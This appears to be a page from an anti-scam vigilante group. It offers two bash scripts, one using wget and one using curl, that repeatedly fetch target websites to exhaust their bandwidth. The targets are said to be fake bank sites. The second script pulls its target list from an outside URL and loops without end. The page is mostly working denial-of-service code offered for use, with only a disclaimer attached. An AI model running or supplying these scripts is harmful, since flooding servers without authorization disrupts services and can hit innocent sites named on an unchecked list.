Bandwidth Scripts

While artists against 419 believe in the power of simple HTML, there are some artists out there who say they could drain more bandwidth with scripts.

Disclaimer: As far as we know, all following scripts do nothing more than drain bandwidth from the scammer's websites. However, if you choose to use one of these scripts, you will be doing so at your own risk!

#1: Script for Linux/unix computers

Provided by Bulging BlueVein

This requires 2 files: the 1st file is the script, 2nd file is a list of sites it is going to flash. The script or first file can be used on each flash, and all you need to do is to update the 2nd file with a list of the targets. This script will visit each url, and follow all internal links on each page of the site.

Code:

#!/bin/bash
#
# smashed together by Bulging BlueVein
# use to view fake bank websites, repeatedly!
#

echo Time to start....

hammerem=1

while [ "$hammerem" != 2000 ]
do

for sites in ` cat flashlist3`
do
wget -r $sites -O /dev/null 2>/dev/null
done

hammerem=$(($hammerem + 1))
echo " pass $hammerem " >>flashmob.log
done

echo Completed $hammerem times
exit 0

The second file just contains the top level urls of the sites, one to a line. Call the file flashlist3, and keep it in the same directory as the script.

This doesn't rely on anyone's server. Last FlashMob, I was running this, and when all sites were up, on each pass I was utilising 22Meg of laddata per pass. For the technical details, this runs at approx 300k/sec, so depending on bandwidth, a flasher may run several instances of it...

#2: Mac OS X 10.3 Code for Flashmobbing from Console

Provided by jam3s

#!/bin/bash
# replace /usr/bin/curl with the path for curl if incorrect (try locate curl)
# Get current list of images and values

/usr/bin/curl --progress-bar -o /tmp/aa419list http://www.419sport.tk/aa419/targets.php

echo
while [ "$hammerem" != -1 ]
do
for target_url in `cat /tmp/aa419list`
do
/usr/bin/curl --progress-bar -o /dev/null $target_url
done
done
exit 0

Related Links

• AA419 Tools
• What is the Flash Mob?